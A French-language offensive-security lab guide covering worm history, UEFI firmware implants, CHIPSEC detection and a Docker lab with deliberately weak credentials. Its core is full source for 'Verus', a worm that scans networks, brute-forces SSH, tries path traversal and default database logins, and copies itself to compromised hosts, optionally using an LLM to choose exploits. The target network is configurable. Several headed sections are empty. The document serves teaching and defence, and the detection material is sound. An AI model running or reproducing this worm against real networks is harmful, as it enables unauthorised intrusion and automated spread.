Lab Sécurité 2027 — Vers Adaptatifs, Implants Firmware & Contre-Mesures

1Le poids de l'histoire — Pourquoi regarder en arrière

L'idée reçue est que la sécurité offensive est un domaine en constante révolution, où seules les dernières techniques comptent. C'est faux. Les principes fondamentaux — propagation, persistance, furtivité — n'ont pas changé. Seuls les vecteurs et les cibles ont évolué.

1.1 Le ver Morris (1988)

Ce programme de 99 lignes a paralysé une partie d'Internet en 1988. Ses méthodes :

• Exploitation de services réseau : fingerd, sendmail via des buffer overflows.
• Cassage de mots de passe : une liste de 432 mots de passe courants et des permutations de noms d'utilisateur.
• Propagation par relations de confiance : il lisait /etc/hosts.equiv et .rhosts pour trouver des machines qui faisaient confiance à l'hôte infecté.

Ce ver exploitait des erreurs de configuration et des faiblesses de conception, pas des failles zero-day sophistiquées. Et pourtant, il a infecté environ 6 000 machines — un chiffre considérable pour l'époque.

1.2 Le ver Stuxnet (2010)

Le premier véritable exemple médiatisé d'attaque cyber-physique. Son objectif n'était pas de voler des données, mais de saboter des centrifugeuses dans une installation nucléaire iranienne.

• Vecteur initial : une clé USB infectée, introduite par un contractant.
• Propagation interne : via les partages réseau et les périphériques amovibles.
• Persistance : un rootkit pour se cacher des antivirus, et des certificats volés pour signer ses pilotes.
• Cible finale : les automates Siemens Simatic WinCC et PCS 7, reprogrammés pour saboter les centrifugeuses.

2L'approche hybride — Quand le matériel contourne l'OSI

Le modèle OSI est une abstraction ; dans la réalité, un implant matériel peut opérer à plusieurs niveaux simultanément. Un implant matériel court-circuite les défenses logicielles. Un pare-feu ne verra rien si le trafic est capturé physiquement avant d'atteindre la pile TCP/IP. Un antivirus ne détectera rien si la charge malveillante est injectée via un bus matériel.

2.1 Exemples concrets et documentés

2.2 Le lien avec les objets connectés

Les objets connectés sont souvent mal sécurisés (mots de passe par défaut, firmwares non mis à jour) et connectés à Internet. Ils constituent des points d'entrée idéaux. Un implant matériel peut s'y connecter, établir une persistance, et de là, pivoter vers le réseau interne.

3L'état de l'art en 2027 — Menaces APT & IA

3.1 Vers auto-propageants et IA — Une piste de recherche active

L'IA n'est pas seulement un outil pour les défenseurs. Des chercheurs ont publié des preuves de concept expérimentales de vers informatiques pilotés par un modèle de langage local, capables de raisonner pour se propager à travers un réseau. À ce jour, aucun de ces vers n'a été observé in-the-wild. Il s'agit de travaux de recherche, pas de menaces déployées.

4Capacités d'implantation firmware — Le niveau le plus profond

Parmi toutes les techniques de persistance, l'implantation dans le firmware est la plus avancée et la plus difficile à contrer. Elle opère en dessous du système d'exploitation, en dessous du disque dur. Un implant firmware correctement placé survit à la réinstallation de l'OS et, dans certains cas, au remplacement du disque dur.

4.1 Les niveaux de persistance

Les niveaux L1 et L2 relèvent de la « persistance logicielle ». Les niveaux L3 et L4 relèvent de la « persistance firmware » à proprement parler — nettement plus difficile à éradiquer.

4.2 Les implants firmware in-the-wild documentés

Ces techniques ne sont pas théoriques. Plusieurs familles ont été documentées par des éditeurs de sécurité reconnus.

4.3 Comment fonctionne un implant SPI flash

Étape 1 — Atteindre la flash SPI

La flash SPI est protégée par des mécanismes matériels :

• Bit FLOCKDN (Flash Lock Down) : verrouille la flash contre l'écriture. S'il n'est pas activé, un processus suffisamment privilégié peut écrire dans le firmware.
• BIOS_CNTL : registre de contrôle de la protection en écriture.
• Intel Boot Guard : vérifie cryptographiquement l'intégrité du firmware au démarrage.

Les voies de contournement connues et documentées incluent :

• Exploitation de vulnérabilités SMM pour écrire dans la flash depuis un contexte privilégié.
• Accès physique : clip SOIC-8 + flashrom pour lire/écrire directement la puce SPI.
• Vulnérabilités du firmware (par exemple dans des implémentations AMI Aptio) permettant l'extension de privilèges.

Étape 2 — Modifier le firmware

Une fois l'accès obtenu, l'attaquant peut :

• Ajouter un module DXE malveillant (approche LoJax, MosaicRegressor).
• Patcher un module existant comme CORE_DXE (approche MoonBounce).
• Hooker les fonctions de boot services : ExitBootServices est particulièrement prisé car il permet d'injecter du code dans le kernel avant que l'OS ne prenne le contrôle.

Étape 3 — Persister et se propager

L'implant firmware peut :

• Injecter un rootkit kernel au démarrage.
• Établir une communication C2 pour recevoir des payloads supplémentaires.
• Se répliquer dans le firmware d'autres machines du réseau (selon les capacités de l'implant).
• Réinfecter l'OS même après une réinstallation complète.

4.4 Outils d'analyse et de détection

CHIPSEC (Intel)

CHIPSEC est le framework open-source de référence pour auditer l'intégrité du firmware et détecter les rootkits UEFI. Il opère à trois niveaux :

1. Niveau registres du chipset : vérifie si les protections matérielles sont activées (bit FLOCKDN).
2. Niveau firmware UEFI : dump de la flash SPI, parsing des volumes et modules, comparaison avec une image de référence.
3. Niveau configuration de boot : vérifie Secure Boot, Intel Boot Guard, scripts S3.

# Vérifier les protections de la flash SPI
chipsec_util.py spi dump bios_region.bin

# Scanner les modules UEFI pour détecter des menaces connues
chipsec_util.py uefi scan

# Vérifier l'état de Secure Boot
chipsec_util.py uefi secureboot

# Analyser les variables NVRAM
chipsec_util.py uefi var-list

# Créer une whitelist de référence (image propre)
chipsec_util.py uefi whitelist create --output baseline.json

# Comparer un dump suspect avec la baseline
chipsec_util.py uefi whitelist compare --baseline baseline.json --input suspect.bin

CHIPSEC peut détecter des familles connues, dont LoJax, ThinkPwn, MosaicRegressor et certaines modifications de type MoonBounce.

Autres outils

4.5 Contre-mesures firmware

4.6 Pourquoi c'est important pour votre lab

Intégrer l'analyse firmware dans votre laboratoire vous permet de :

• Comprendre comment les APT obtiennent une persistance quasi-invisible.
• Expérimenter les outils de détection (CHIPSEC) sur des systèmes de test.
• Développer des contre-mesures adaptées à votre environnement.
• Former vos équipes à la réalité des menaces firmware.

5Le laboratoire Docker — Script de création

Ce script Bash crée un laboratoire isolé avec Docker Compose. Il déploie un réseau segmenté avec :

• DVWA — application web volontairement vulnérable
• Serveur SSH avec identifiants faibles
• Conteneur Kali Linux pour l'attaque
• Services IoT simulés (caméra, thermostat)
• Collecteur de logs Splunk

#!/bin/bash
# ============================================================
# LAB SÉCURITÉ OFFENSIVE 2027 — ENVIRONNEMENT ISOLÉ
# ============================================================
# Avertissement : Ce script est fourni à des fins éducatives.
# Ne l'exécutez que sur une machine qui vous appartient et
# dans un environnement réseau isolé.
# ============================================================

set -euo pipefail

LAB_DIR="${HOME}/lab-securite-2027"
DOCKER_NETWORK="lab-net-2027"
SUBNET="172.28.0.0/16"

# --- Vérifications ---
if ! command -v docker &> /dev/null; then
    echo "[!] Docker n'est pas installé. Installez-le avant de continuer."
    exit 1
fi
if ! docker compose version &> /dev/null; then
    echo "[!] Docker Compose v2 n'est pas disponible."
    exit 1
fi

echo "[*] Création du répertoire : ${LAB_DIR}"
mkdir -p "${LAB_DIR}"
cd "${LAB_DIR}"

# --- Réseau isolé ---
echo "[*] Création du réseau Docker isolé : ${DOCKER_NETWORK}"
if ! docker network inspect "${DOCKER_NETWORK}" &> /dev/null; then
    docker network create \
        --driver bridge \
        --subnet="${SUBNET}" \
        "${DOCKER_NETWORK}"
else
    echo "[i] Le réseau ${DOCKER_NETWORK} existe déjà."
fi

# --- docker-compose.yml ---
cat > docker-compose.yml <<'EOF'
services:
  kali:
    image: kalilinux/kali-rolling:latest
    container_name: lab-kali
    networks:
      - lab-net
    tty: true
    stdin_open: true
    command: /bin/bash
    restart: unless-stopped
    cap_add:
      - NET_ADMIN
      - NET_RAW

  web-vuln:
    image: vulnerables/web-dvwa:latest
    container_name: lab-dvwa
    networks:
      - lab-net
    ports:
      - "127.0.0.1:8080:80"
    environment:
      - MYSQL_ROOT_PASSWORD=root
    restart: unless-stopped

  ssh-vuln:
    image: linuxserver/openssh-server:latest
    container_name: lab-ssh
    networks:
      - lab-net
    ports:
      - "127.0.0.1:2222:2222"
    environment:
      - PUID=1000
      - PGID=1000
      - TZ=Europe/Paris
      - SUDO_ACCESS=true
      - PASSWORD_ACCESS=true
      - USER_PASSWORD=password123
      - USER_NAME=labuser
    restart: unless-stopped

  iot-camera:
    image: linuxserver/openssh-server:latest
    container_name: lab-iot-camera
    networks:
      - lab-net
    ports:
      - "127.0.0.1:8081:22"
    environment:
      - PUID=1000
      - PGID=1000
      - USER_NAME=camera
      - USER_PASSWORD=camera123
    restart: unless-stopped

  iot-thermostat:
    image: nginx:alpine
    container_name: lab-iot-thermostat
    networks:
      - lab-net
    ports:
      - "127.0.0.1:8082:80"
    restart: unless-stopped

  splunk:
    image: splunk/splunk:latest
    container_name: lab-splunk
    networks:
      - lab-net
    ports:
      - "127.0.0.1:8001:8000"
      - "127.0.0.1:8088:8088"
    environment:
      - SPLUNK_START_ARGS=--accept-license
      - SPLUNK_PASSWORD=Chang3d!
    restart: unless-stopped

networks:
  lab-net:
    external: true
    name: lab-net-2027
EOF

# --- Démarrage ---
echo "[*] Démarrage des conteneurs..."
docker compose up -d

# --- Résumé ---
echo ""
echo "============================================================"
echo " LABORATOIRE 2027 PRÊT"
echo "============================================================"
echo ""
echo " Services accessibles depuis l'hôte (127.0.0.1) :"
echo "   - DVWA (web vulnérable)     : http://127.0.0.1:8080"
echo "   - SSH (serveur vulnérable)  : ssh labuser@127.0.0.1 -p 2222"
echo "   - IoT Caméra (SSH)          : ssh camera@127.0.0.1 -p 8081"
echo "   - IoT Thermostat (web)      : http://127.0.0.1:8082"
echo "   - Splunk (logs)             : http://127.0.0.1:8001"
echo "     Login : admin / Chang3d!"
echo ""
echo " Machine d'attaque Kali :"
echo "   docker exec -it lab-kali /bin/bash"
echo ""
echo " Outils recommandés dans Kali :"
echo "   - nmap, hydra, sqlmap, metasploit"
echo "   - chipsec (pip install chipsec) pour l'analyse firmware"
echo ""
echo " Arrêt et suppression :"
echo "   cd ${LAB_DIR} && docker compose down"
echo ""
echo "============================================================"
echo " RAPPEL : Ne l'exposez pas sur Internet."
echo "============================================================"

6Tester votre lab — Verus, agent de propagation automatisé

Verus est un script éducatif conçu pour démontrer les principes de propagation automatisée dans un environnement de laboratoire isolé. Il est qualifié d'« adaptatif » au sens restreint : il ajuste son choix de vulnérabilité en fonction de la cible, mais il ne génère pas de stratégie inédite et ne modifie pas sa logique en cas d'échec.

Verus fonctionne selon deux modes :

• Mode autonome : utilise uniquement des règles statiques et des heuristiques. Aucune IA n'est requise.
• Mode IA : active l'assistance optionnelle de Llama 3 (via Ollama) pour la sélection des vulnérabilités, avec fallback automatique vers le mode autonome si le LLM échoue.

6.1 Architecture de Verus

6.2 Arborescence du projet

lab-securite-2027/
├── verus/
│   ├── verus.py          # Script principal
│   ├── llm.py            # Interface Ollama/Llama 3 (optionnel)
│   ├── config.json       # Configuration
│   └── verus_log.json    # Log généré à l'exécution

6.3 llm.py — Interface IA optionnelle

#!/usr/bin/env python3
"""
llm.py — Interface optionnelle avec Ollama/Llama 3.

BRAS OPTIONNEL. Si Ollama n'est pas disponible, verus.py bascule
automatiquement en mode autonome. Le ver reste pleinement fonctionnel.
"""

import json
import subprocess
from typing import Optional, Dict, Any

try:
    import ollama
    OLLAMA_AVAILABLE = True
except ImportError:
    OLLAMA_AVAILABLE = False


class LLMAssistant:
    """Assistant IA local via Ollama. Couche de raisonnement optionnelle."""

    def __init__(self, model: str = "llama3", host: str = "http://localhost:11434"):
        self.model = model
        self.host = host
        self.available = False
        self._check_availability()

    def _check_availability(self) -> None:
        if not OLLAMA_AVAILABLE:
            print("[LLM] Module 'ollama' non installé. Mode autonome activé.")
            return
        try:
            result = subprocess.run(
                ["ollama", "list"],
                capture_output=True, text=True, timeout=5
            )
            if result.returncode == 0 and self.model in result.stdout:
                self.available = True
                print(f"[LLM] Ollama disponible avec le modèle '{self.model}'.")
            else:
                print(f"[LLM] Modèle '{self.model}' non trouvé. "
                      f"Exécutez: ollama pull {self.model}")
        except (FileNotFoundError, subprocess.TimeoutExpired):
            print("[LLM] Ollama non disponible. Mode autonome activé.")

    def reason_about_target(self, target_info: Dict[str, Any]) -> Optional[Dict]:
        """Demande au LLM d'analyser une cible et de suggérer une stratégie."""
        if not self.available:
            return None

        prompt = f"""Tu es un assistant d'audit de sécurité dans un laboratoire isolé.
Analyse les informations suivantes sur une cible réseau et suggère
la meilleure stratégie pour tester sa sécurité.

Informations sur la cible :
- IP : {target_info.get('ip', 'inconnue')}
- Ports ouverts : {target_info.get('ports', [])}
- Services détectés : {target_info.get('services', {})}
- OS : {target_info.get('os', 'inconnu')}

Réponds en JSON avec les clés suivantes :
- "vulnerability": la vulnérabilité la plus prometteuse
- "exploit_method": la méthode d'exploitation suggérée
- "confidence": un score de 0 à 100
- "reasoning": une explication courte

Réponds UNIQUEMENT avec le JSON, sans texte autour."""

        try:
            response = ollama.chat(
                model=self.model,
                messages=[{"role": "user", "content": prompt}]
            )
            content = response['message']['content'].strip()
            if content.startswith("```"):
                content = content.split("\n", 1)[1].rsplit("```", 1)[0]
            parsed = json.loads(content)
            print(f"[LLM] Analyse : {parsed.get('reasoning', 'N/A')}")
            return parsed
        except Exception as e:
            print(f"[LLM] Erreur d'analyse : {e}. Bascule en mode autonome.")
            return None

6.4 verus.py — Agent principal

Le script utilise subprocess pour appeler réellement nmap, hydra, curl, redis-cli et mysql dans le lab. Les sorties sont parsées pour extraire les informations pertinentes.

#!/usr/bin/env python3
"""
verus.py — Agent de propagation automatisé (labo isolé).

MODES :
  --autonome    : Règles statiques uniquement (SANS IA)
  --ia          : Assistance Llama 3 optionnelle (fallback autonome)

AVERTISSEMENT : Usage strictement éducatif en laboratoire isolé.
"""

import argparse
import ipaddress
import json
import os
import random
import subprocess
import sys
import time
from concurrent.futures import ThreadPoolExecutor, as_completed
from dataclasses import dataclass
from datetime import datetime
from typing import List, Dict, Optional

try:
    from llm import LLMAssistant
    LLM_MODULE_AVAILABLE = True
except ImportError:
    LLM_MODULE_AVAILABLE = False


# ============================================================
# CONFIGURATION
# ============================================================

@dataclass
class VerusConfig:
    network: str = "172.28.0.0/16"
    max_hosts: int = 30
    timeout: float = 3.0
    delay: float = 0.5
    use_ai: bool = False
    llm_model: str = "llama3"
    log_file: str = "verus_log.json"
    ssh_user: str = "labuser"
    ssh_pass: str = "password123"


# ============================================================
# PHASE 1 : RECONNAISSANCE (nmap réel)
# ============================================================

class Reconnaissance:

    PORTS = "22,80,443,3306,5432,6379,8080,2222,8082"

    def __init__(self, config: VerusConfig):
        self.config = config
        self.discovered_hosts: List[Dict] = []

    def scan_host(self, ip: str) -> Optional[Dict]:
        """Scan nmap réel sur un hôte unique."""
        host_info = {
            "ip": ip, "ports": [], "services": {},
            "os": "inconnu", "vulns": []
        }

        try:
            result = subprocess.run(
                ["nmap", "-sV", "-Pn", "-p", self.PORTS,
                 "--host-timeout", f"{int(self.config.timeout * 10)}s", ip],
                capture_output=True, text=True, timeout=30
            )
            output = result.stdout

            for line in output.splitlines():
                if "/tcp" in line and "open" in line:
                    parts = line.split()
                    port = int(parts[0].split("/")[0])
                    service = parts[2] if len(parts) > 2 else "unknown"
                    version = " ".join(parts[3:]) if len(parts) > 3 else ""
                    host_info["ports"].append(port)
                    host_info["services"][port] = f"{service} {version}".strip()

            if host_info["ports"]:
                print(f"  [+] {ip} : {host_info['services']}")
                self.discovered_hosts.append(host_info)
                return host_info
        except (subprocess.TimeoutExpired, FileNotFoundError) as e:
            print(f"  [!] Erreur nmap sur {ip} : {e}")
        return None

    def scan_network(self) -> List[Dict]:
        print(f"[*] Scan du réseau {self.config.network}...")
        network = ipaddress.ip_network(self.config.network, strict=False)
        hosts = [str(ip) for ip in network.hosts()]
        random.shuffle(hosts)
        targets = hosts[:self.config.max_hosts]

        print(f"[*] {len(targets)} hôtes à scanner avec nmap...")

        with ThreadPoolExecutor(max_workers=10) as executor:
            futures = {executor.submit(self.scan_host, ip): ip for ip in targets}
            for future in as_completed(futures):
                try:
                    future.result()
                except Exception:
                    pass

        print(f"[*] {len(self.discovered_hosts)} hôte(s) avec services détectés.")
        return self.discovered_hosts


# ============================================================
# PHASE 2 : EXPLOITATION (hydra, curl, redis-cli, mysql réels)
# ============================================================

class Exploitation:

    VULNS_CONNUES = {
        "ssh": [
            {"name": "SSH-Faible-MotDePasse", "method": "hydra_ssh",
             "confidence": 60, "tool": "hydra"},
        ],
        "http": [
            {"name": "HTTP-Directory-Traversal", "method": "curl_path_traversal",
             "confidence": 30, "tool": "curl"},
            {"name": "HTTP-Admin-Panel", "method": "curl_admin",
             "confidence": 25, "tool": "curl"},
        ],
        "mysql": [
            {"name": "MySQL-Faible-Root", "method": "weak_credentials",
             "confidence": 50, "tool": "mysql"},
        ],
        "redis": [
            {"name": "Redis-NoAuth", "method": "redis_unauth",
             "confidence": 80, "tool": "redis-cli"},
        ],
    }

    def __init__(self, config: VerusConfig, llm=None):
        self.config = config
        self.llm = llm
        self.exploited_hosts: List[Dict] = []

    def _select_vulnerability_autonome(self, host: Dict) -> Optional[Dict]:
        candidates = []
        for port, service in host.get("services", {}).items():
            service_lower = service.lower()
            for key, vulns in self.VULNS_CONNUES.items():
                if key in service_lower:
                    for vuln in vulns:
                        candidates.append({**vuln, "port": port,
                                           "service": service,
                                           "source": "autonome"})
        if not candidates:
            return None
        candidates.sort(key=lambda x: x["confidence"], reverse=True)
        return random.choice(candidates[:3])

    def _select_vulnerability_ia(self, host: Dict) -> Optional[Dict]:
        if not self.llm or not self.llm.available:
            return self._select_vulnerability_autonome(host)
        print(f"  [IA] Analyse LLM de {host['ip']}...")
        decision = self.llm.reason_about_target(host)
        if decision:
            return {
                "name": decision.get("vulnerability", "IA-Suggestion"),
                "method": decision.get("exploit_method", "unknown"),
                "confidence": decision.get("confidence", 50),
                "port": host["ports"][0] if host["ports"] else None,
                "service": list(host["services"].values())[0] if host["services"] else "unknown",
                "source": "ia",
                "reasoning": decision.get("reasoning", ""),
            }
        return self._select_vulnerability_autonome(host)

    def _execute_payload(self, vuln: Dict, host: Dict) -> Dict:
        ip = host["ip"]
        port = vuln.get("port", 22)
        method = vuln["method"]
        result = {"stdout": "", "returncode": -1, "cmd": ""}

        try:
            if method == "hydra_ssh":
                cmd = ["hydra", "-l", self.config.ssh_user,
                       "-p", self.config.ssh_pass,
                       "-f", "-t", "4",
                       f"ssh://{ip}:{port}"]
                result["cmd"] = " ".join(cmd)
                r = subprocess.run(cmd, capture_output=True, text=True,
                                   timeout=30)
                result["stdout"] = r.stdout[-2000:]
                result["returncode"] = r.returncode

            elif method == "redis_unauth":
                cmd = ["redis-cli", "-h", ip, "-p", str(port), "INFO"]
                result["cmd"] = " ".join(cmd)
                r = subprocess.run(cmd, capture_output=True, text=True,
                                   timeout=10)
                result["stdout"] = r.stdout[:500]
                result["returncode"] = r.returncode

            elif method in ("curl_path_traversal", "curl_admin"):
                url_suffix = "/../../../../etc/passwd" if method == "curl_path_traversal" else "/admin"
                cmd = ["curl", "-s", "-m", "5",
                       f"http://{ip}:{port}{url_suffix}"]
                result["cmd"] = " ".join(cmd)
                r = subprocess.run(cmd, capture_output=True, text=True,
                                   timeout=10)
                result["stdout"] = r.stdout[:500]
                result["returncode"] = r.returncode

            elif method == "weak_credentials":
                cmd = ["mysql", "-h", ip, "-u", "root", "-proot",
                       "-e", "SELECT 1;"]
                result["cmd"] = " ".join(cmd)
                r = subprocess.run(cmd, capture_output=True, text=True,
                                   timeout=10)
                result["stdout"] = r.stdout[:200]
                result["returncode"] = r.returncode
        except (subprocess.TimeoutExpired, FileNotFoundError) as e:
            result["stdout"] = f"Erreur: {e}"

        return result

    def exploit_host(self, host: Dict) -> Optional[Dict]:
        ip = host["ip"]
        print(f"[*] Exploitation de {ip}...")

        if self.config.use_ai and self.llm:
            vuln = self._select_vulnerability_ia(host)
        else:
            vuln = self._select_vulnerability_autonome(host)

        if not vuln:
            print(f"  [-] Aucune vulnérabilité applicable pour {ip}.")
            return None

        print(f"  [+] Cible : {vuln['name']} "
              f"(confiance={vuln['confidence']}%, source={vuln['source']})")

        payload_result = self._execute_payload(vuln, host)

        success = (
            payload_result["returncode"] == 0 and
            ("password" in payload_result["stdout"].lower() or
             "login" in payload_result["stdout"].lower() or
             "redis_version" in payload_result["stdout"].lower() or
             "root:" in payload_result["stdout"])
        )

        result = {
            "ip": ip,
            "vulnerability": vuln["name"],
            "method": vuln["method"],
            "source": vuln["source"],
            "confidence": vuln["confidence"],
            "cmd": payload_result["cmd"],
            "output": payload_result["stdout"][:1000],
            "success": success,
            "timestamp": datetime.now().isoformat(),
        }

        if success:
            print(f"  [+] SUCCÈS sur {ip}")
            self.exploited_hosts.append(result)
        else:
            print(f"  [-] Échec sur {ip} (code={payload_result['returncode']})")

        return result

    def exploit_all(self, hosts: List[Dict]) -> List[Dict]:
        print(f"\n[*] Phase d'exploitation — {len(hosts)} cible(s)...")
        results = []
        for host in hosts:
            r = self.exploit_host(host)
            if r:
                results.append(r)
            time.sleep(self.config.delay)
        print(f"[*] {len(self.exploited_hosts)}/{len(hosts)} succès.")
        return results


# ============================================================
# PHASE 3 : PROPAGATION
# ============================================================

class Propagation:
    def __init__(self, config: VerusConfig):
        self.config = config
        self.propagated: List[Dict] = []

    def propagate(self, exploited_hosts: List[Dict]) -> List[Dict]:
        print(f"\n[*] Propagation — {len(exploited_hosts)} hôte(s) compromis...")
        script_path = os.path.abspath(__file__)

        for host in exploited_hosts:
            if not host.get("success"):
                continue

            try:
                cmd = [
                    "sshpass", "-p", self.config.ssh_pass,
                    "scp",
                    "-o", "StrictHostKeyChecking=no",
                    "-o", "ConnectTimeout=5",
                    "-P", "2222",
                    script_path,
                    f"{self.config.ssh_user}@{host['ip']}:/tmp/verus.py"
                ]
                r = subprocess.run(cmd, capture_output=True, text=True,
                                   timeout=15)
                success = r.returncode == 0
            except (subprocess.TimeoutExpired, FileNotFoundError):
                success = False

            self.propagated.append({
                "target": host["ip"],
                "success": success,
                "timestamp": datetime.now().isoformat(),
            })
            print(f"  {'[+]' if success else '[-]'} Propagation vers {host['ip']}")

        return self.propagated


# ============================================================
# LOGGER
# ============================================================

class Logger:
    def __init__(self, log_file: str = "verus_log.json"):
        self.log_file = log_file
        self.data = {"start_time": None, "end_time": None, "config": {},
                     "discovered_hosts": [], "exploited_hosts": [],
                     "propagated": []}

    def start(self, config: VerusConfig) -> None:
        self.data["start_time"] = datetime.now().isoformat()
        self.data["config"] = {
            "network": config.network, "max_hosts": config.max_hosts,
            "use_ai": config.use_ai,
            "llm_model": config.llm_model if config.use_ai else None,
        }

    def record_discovered(self, h): self.data["discovered_hosts"] = h
    def record_exploited(self, h): self.data["exploited_hosts"] = h
    def record_propagated(self, h): self.data["propagated"] = h

    def finish(self) -> None:
        self.data["end_time"] = datetime.now().isoformat()
        with open(self.log_file, "w", encoding="utf-8") as f:
            json.dump(self.data, f, indent=2, ensure_ascii=False)
        print(f"\n[*] Log sauvegardé : {self.log_file}")

    def summary(self) -> str:
        discovered = len(self.data["discovered_hosts"])
        exploited = len([h for h in self.data["exploited_hosts"] if h.get("success")])
        propagated = len([p for p in self.data["propagated"] if p.get("success")])
        mode = "IA (Llama 3)" if self.data["config"].get("use_ai") else "AUTONOME"
        return f"""
============================================================
 RÉSUMÉ — VERUS
============================================================
 Mode                : {mode}
 Réseau cible        : {self.data['config']['network']}
 Hôtes découverts    : {discovered}
 Hôtes exploités     : {exploited}
 Réplications        : {propagated}
============================================================"""


# ============================================================
# MAIN
# ============================================================

def parse_args():
    p = argparse.ArgumentParser(description="verus.py — Agent de propagation automatisé")
    p.add_argument("--autonome", action="store_true")
    p.add_argument("--ia", action="store_true")
    p.add_argument("--network", default="172.28.0.0/16")
    p.add_argument("--max-hosts", type=int, default=30)
    p.add_argument("--timeout", type=float, default=3.0)
    p.add_argument("--delay", type=float, default=0.5)
    p.add_argument("--log", default="verus_log.json")
    p.add_argument("--llm-model", default="llama3")
    p.add_argument("--ssh-user", default="labuser")
    p.add_argument("--ssh-pass", default="password123")
    return p.parse_args()


def main():
    args = parse_args()
    print("""
============================================================
  VERUS — Agent de propagation automatisé
  LABORATOIRE ISOLÉ — USAGE STRICTEMENT ÉDUCATIF
============================================================""")

    if not args.autonome and not args.ia:
        print("[!] Spécifiez --autonome ou --ia.")
        sys.exit(1)

    use_ai = args.ia
    if use_ai and not LLM_MODULE_AVAILABLE:
        print("[!] Module IA non disponible. Bascule autonome.")
        use_ai = False

    config = VerusConfig(
        network=args.network, max_hosts=args.max_hosts,
        timeout=args.timeout, delay=args.delay,
        use_ai=use_ai, llm_model=args.llm_model,
        log_file=args.log, ssh_user=args.ssh_user, ssh_pass=args.ssh_pass,
    )

    logger = Logger(config.log_file)
    logger.start(config)

    llm = None
    if use_ai:
        print("[*] Initialisation de l'assistant IA...")
        llm = LLMAssistant(model=config.llm_model)
        if not llm.available:
            print("[!] LLM indisponible. Passage en mode autonome.")
            config.use_ai = False

    # Phase 1
    print("\n" + "=" * 60)
    print(" PHASE 1 : RECONNAISSANCE (nmap)")
    print("=" * 60)
    recon = Reconnaissance(config)
    discovered = recon.scan_network()
    logger.record_discovered(discovered)

    if not discovered:
        print("[!] Aucun hôte. Fin.")
        logger.finish()
        sys.exit(0)

    # Phase 2
    print("\n" + "=" * 60)
    print(" PHASE 2 : EXPLOITATION (hydra, curl, redis-cli, mysql)")
    print("=" * 60)
    exploitation = Exploitation(config, llm)
    exploited = exploitation.exploit_all(discovered)
    logger.record_exploited(exploited)

    # Phase 3
    print("\n" + "=" * 60)
    print(" PHASE 3 : PROPAGATION (scp SSH)")
    print("=" * 60)
    propagation = Propagation(config)
    propagated = propagation.propagate(exploited)
    logger.record_propagated(propagated)

    logger.finish()
    print(logger.summary())


if __name__ == "__main__":
    main()

6.5 Installation et exécution

Prérequis dans le conteneur Kali

apt update
apt install -y python3-pip nmap hydra sqlmap curl sshpass redis-tools mysql-client
pip install ollama

# Optionnel : pour le mode IA
# Sur l'hôte (pas dans le conteneur), démarrer Ollama :
#   ollama serve
#   ollama pull llama3

Mode autonome (sans IA)

cd /root/verus
python3 verus.py --autonome --network 172.28.0.0/24 --max-hosts 20

Ce qui se passe :

1. nmap -sV est appelé via subprocess sur chaque hôte.
2. Les ports ouverts et services sont extraits de la sortie nmap.
3. Une vulnérabilité est sélectionnée par règles statiques (dictionnaire VULNS_CONNUES).
4. Le payload réel est exécuté : hydra, curl, redis-cli ou mysql.
5. Si succès, scp copie verus.py sur l'hôte compromis.

Mode IA (avec Llama 3)

# Vérifier qu'Ollama tourne bien sur l'hôte
curl http://localhost:11434/api/tags

python3 verus.py --ia --network 172.28.0.0/24 --max-hosts 20

Ce qui change : Le LLM est consulté pour chaque cible. Il renvoie une suggestion JSON. Si Ollama ne répond pas ou renvoie du JSON invalide, fallback automatique vers le mode autonome.

6.6 Analyse comparative — Le point pédagogique

6.7 Lecture des logs

Le fichier verus_log.json contient :

{
  "start_time": "2027-01-15T14:22:31",
  "end_time": "2027-01-15T14:25:12",
  "config": {
    "network": "172.28.0.0/24",
    "use_ai": false,
    "llm_model": null
  },
  "discovered_hosts": [
    {"ip": "172.28.0.3", "ports": [80, 3306],
     "services": {"80": "http Apache", "3306": "mysql 5.7"}}
  ],
  "exploited_hosts": [
    {"ip": "172.28.0.3", "vulnerability": "MySQL-Faible-Root",
     "method": "weak_credentials", "source": "autonome",
     "confidence": 50, "success": true,
     "cmd": "mysql -h 172.28.0.3 -u root -proot -e SELECT 1;"}
  ],
  "propagated": [
    {"target": "172.28.0.3", "success": true}
  ]
}

Le champ "source" indique "autonome" ou "ia", ce qui permet de mesurer précisément l'apport du LLM sur chaque décision.

6.8 Conclusion pédagogique

7Détection et éradication — L'après-attaque

Détruire un ver ou un rootkit est souvent plus complexe que de s'en protéger. Voici une méthodologie en couches, du plus simple au plus profond.

7.1 Niveau système d'exploitation

• Analyse hors ligne : démarrez sur un support externe (live USB) pour analyser le système sans que le rootkit ne puisse s'activer.
• TDSSKiller (Kaspersky) : détecte et supprime certains rootkits de démarrage.
• Malwarebytes Anti-Rootkit : autre outil gratuit pour les rootkits.
• Microsoft Defender Offline : fonctionne dans un environnement de confiance, avant le chargement de l'OS.
• Scanners UEFI : certains antivirus intègrent désormais des scanners UEFI (Kaspersky, ESET, Avast).

7.2 Niveau firmware / UEFI

C'est la couche la plus difficile à nettoyer. Un rootkit UEFI réside dans la flash SPI de la carte mère, en dessous du système d'exploitation, en dessous du disque dur.

Détection avec CHIPSEC

Utilisez CHIPSEC pour :

• Vérifier les protections matérielles (bit FLOCKDN).
• Dumper la flash SPI et la comparer à une image de référence.
• Détecter des familles connues : BlackLotus, LoJax, MosaicRegressor, MoonBounce.
• Vérifier l'état de Secure Boot et d'Intel Boot Guard.

Éradication :

1. Réinitialiser le firmware : via les paramètres BIOS/UEFI, option « Restore Defaults » ou « Reset to Factory Settings ».
2. Reflasher le firmware : téléchargez une version propre depuis le site du fabricant et réinstallez-la. Ne désactivez jamais les vérifications de signature.
3. Réinstaller l'OS : à partir d'une source de confiance, pour éliminer tout résidu logiciel.
4. Activer Secure Boot : avec des clés approuvées et des données de révocation à jour.

7.3 Niveau matériel

• Inspection physique : recherchez des dispositifs non autorisés connectés au réseau ou à l'intérieur du boîtier.
• Analyse du trafic réseau : utilisez un tap réseau pour capturer tout le trafic et détecter des communications anormales.
• Isolation : déconnectez physiquement le segment de réseau suspect.

7.4 L'approche proactive

Plutôt qu'une défense purement réactive, certains praticiens proposent de reprendre l'initiative en exerçant un contrôle proactif de l'environnement dont l'attaquant dépend. Cela implique un cycle continu de renseignement, de friction induite et d'anticipation, pour épuiser progressivement les APT.

8Ne pas faire une confiance aveugle à l'IA

Un modèle de langage peut :

• Halluciner des références techniques ou des CVE qui n'existent pas.
• Ne pas avoir de conscience de l'état actuel d'un système (est-il patché ? un service est-il actif ?).
• Proposer des solutions génériques qui ne tiennent pas compte des spécificités de l'environnement.

Pourquoi ?

